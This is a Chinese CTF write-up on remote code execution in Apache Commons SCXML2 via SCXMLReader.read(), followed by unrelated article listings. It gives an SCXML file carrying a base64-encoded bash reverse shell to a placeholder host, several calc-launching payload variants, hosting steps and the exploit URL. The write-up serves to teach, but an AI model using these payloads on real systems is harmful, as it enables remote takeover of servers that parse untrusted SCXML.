Apache SCXML2 RCE漏洞

文章目录

  • 前言
  • 源码利用
  • 上传恶意xml文件
    • 构造payload
    • 搭建Apache服务器
  • 远程RCE


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例
依次执行以下命令

sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip
在这里插入图片描述
然后我们将写好的xml文件mv到该根目录下

mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

python3 -m http.server 8000

在这里插入图片描述
访问8000端口,成功访问
在这里插入图片描述

远程RCE

我们直接在题目处远程RCE,payload如下

http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/154803.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微信如何设置自动保存图片和视频

8-6 在日常的工作中&#xff0c;如果你需要经常或者每天都要对同事们发来的大量图片和视频进行保存的&#xff0c;这种工作需要花费很多时间&#xff0c;如果你想节省这些手工时间的话&#xff0c;也许本文适合你&#xff0c;首先要明白的是&#xff0c;微信本身是没有任何相关…

备战旺季,赛盈分销解析2023年美国人爱买的年终爆款!

今年10月份美国人增加了自己在线上渠道的支出&#xff0c;Adobe Analytics的调查报告显示&#xff0c;美国消费者当月的线上支出达到了768亿美元&#xff0c;同比增长5.9%。 数据还表明&#xff0c;1-10月份美国人的线上购物相比去年增长了4.3%&#xff0c;整体消费达到7590亿…

二十、泛型(9)

本章概要 对缺乏潜在类型机制的补偿 反射将一个方法应用于序列 Java 8 中的辅助潜在类型 使用 Suppliers 类的通用方法 总结&#xff1a;类型转换真的如此之糟吗&#xff1f; 对缺乏潜在类型机制的补偿 尽管 Java 不直接支持潜在类型机制&#xff0c;但是这并不意味着泛型代…

笔记53:torch.nn.rnn() 函数详解

参数解释&#xff1a; &#xff08;1&#xff09;input_size()&#xff1a;即输入信息 Xt 的每个序列的独热编码向量的长度&#xff0c;即 len(vocab) &#xff08;2&#xff09;hidden_size()&#xff1a;即隐变量 h 的维度&#xff08;维度是多少&#xff0c;就代表用几个数…

北京君正客户应用案例:掌静脉3D人脸猫眼视屏智能锁

凯迪仕在今年4月发布了智能锁旗舰新品K70 Pro Max掌静脉3D人脸猫眼视屏智能锁&#xff0c;随即这款新品也成了行业热议的焦点。凯迪仕每次新品都力求突破精益求精&#xff0c;不仅追求科技感、高级感与品质感&#xff0c;而且赋予科技温度&#xff0c;带来人文化的关怀。K70 Pr…

FPGA——IP核 基础操作

FPGA——IP核 基础操作 IP核例化模块时钟IP核RAM IP核 IP核例化模块 找到模版 加入代码中 时钟IP核 配置模式功能 配置输入时钟 输出配置 RAM IP核

物联网AI MicroPython学习之语法 I2C总线

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; I2C 介绍 模块功能: I2C Master设备驱动 接口说明 I2C - 构建硬件I2C对象 函数原型&#xff1a;I2C(id, scl, sda, freq)参数说明&#xff1a; 参数类型必选参数&#xff1f;说明idintYI2C外设&#xff…

关于新能源汽车的英语翻译

近年来&#xff0c;随着全球对环保和可持续发展的重视&#xff0c;新能源汽车已经成为汽车产业的重要发展方向。各国政府和企业都在加大投入&#xff0c;推动新能源汽车的技术研发和产业化发展&#xff0c;进而促进了新能源汽车翻译的需求不断提升 。那么&#xff0c;关于新能源…

免费的快速手机文件解压APP,快冲

各位小伙伴们大家好&#xff0c;今天我要介绍一款手机上必备的神奇工具&#xff01;你有没有经常遇到需要解压文件情况呢&#xff1f;还在为不知道用哪个软件而烦恼吗&#xff1f;别担心&#xff0c;我给你带来了解决方案 &#xff0c;就是这一款免费的解压精灵。 解压精灵是一…

-pthread和-lpthread

我试图在我的Ubuntu机器上设置GTest环境.但在使GTest获取库时,我收到以下错误... ../obj/gtest.a(gtest-all.o): In function testing::internal::ThreadLocal<std::vector<testing::internal::TraceInfo, std::allocator<testing::internal::TraceInfo> > >…

SQL优化

一、巧用limit分页查询&#xff08;id必须有序&#xff09; 二、like百分号向右 说明&#xff1a;全模糊查询或者左边出现%的模糊查询会导致索引失效&#xff0c;应该尽量从查询方式或表结构设计上避免&#xff0c;若无法避免且数据量庞大的情况下&#xff0c;一定要使用elasti…

openGauss学习笔记-123 openGauss 数据库管理-设置账本数据库-账本数据库概述

文章目录 openGauss学习笔记-123 openGauss 数据库管理-设置账本数据库-账本数据库概述123.1 背景信息123.2 操作步骤 openGauss学习笔记-123 openGauss 数据库管理-设置账本数据库-账本数据库概述 123.1 背景信息 账本数据库融合了区块链思想&#xff0c;将用户操作记录至两…

js的File对象,Blob和file相互转换

示例 <!DOCTYPE html> <html><head><meta charset"utf-8" /><meta name"viewport" content"widthdevice-width, initial-scale1" /><title>js的File对象&#xff0c;Blob和file相互转换</title><…

EnlightenGAN 开源代码运行问题汇总

参考链接&#xff1a; EnlightenGAN 开源代码运行EnlightenGAN的运行环境搭建和训练自己的数据 源码下载和环境配置比较简单&#xff0c;本文测试环境&#xff1a;Win10 RTX3060、cuda 11.3、python 3.8 torch 1.12.0 numpy 1.20.1 如果想修改在项目里创建test_daatset文…

【OS】操作系统课程笔记 第八章 虚拟存储管理

8.1 虚拟存储器 8.1.1 虚拟存储器的定义 1. 虚存定义 通过请求调入功能和置换功能&#xff0c;能从逻辑上对内存容量加以扩充的一种存储器系统。 2. 优势和应用 用户地址空间可以大于物理内存空间&#xff0c;使得内存可以保存数量较多的进程&#xff0c;提高了并发性&…

leetcode刷题日记:125. Valid Palindrome(验证回文串)和136. Single Number(只出现一次的数字)

125.Valid Palindrome&#xff08;验证回文串&#xff09; 验证一个串之前我们需要对字符串进行处理将空格逗号什么的去掉&#xff0c;然后进行比较&#xff0c;比较的顺序如图所示: 在比较途中如果出现比较结果为假&#xff0c;就提前结束比较&#xff0c;此时我们可以判断这…

贪心 455.分发饼干

455.分发饼干 题目&#xff1a; 小朋友胃口值数组g[i]&#xff0c;饼干尺寸数组 s[j]&#xff0c;当饼干尺寸s[j]大于等于g[i]的时候&#xff0c;对应小朋友被满足&#xff0c;小朋友每一个最多一块饼干 &#xff0c;求给定条件下最多被满足的小朋友数量。 思路&#xff1a;…

Homography详解在MVSNet中的应用

Homography&#xff08;单应性变换&#xff09;是计算机视觉中的一个重要概念&#xff0c;用于描述两个平面之间的透视关系。在图像处理和计算机视觉中&#xff0c;Homography通常表示两个平面之间的投影关系&#xff0c;这种关系可以通过一个3x3的矩阵来表示。 在数学上&…

hive数仓-数据的质量管理

版本20231116 要理解数据的质量管理&#xff0c;应具备hive数据仓库的相关知识 文章目录 1.理解什么是数据的质量管理&#xff1a;2.数据质量管理的规划数据质量标准的分类 3.数据质量管理解决方案1.ods层的数据质量校验1&#xff09;首先在hive上建立一个仓库&#xff0c;添加…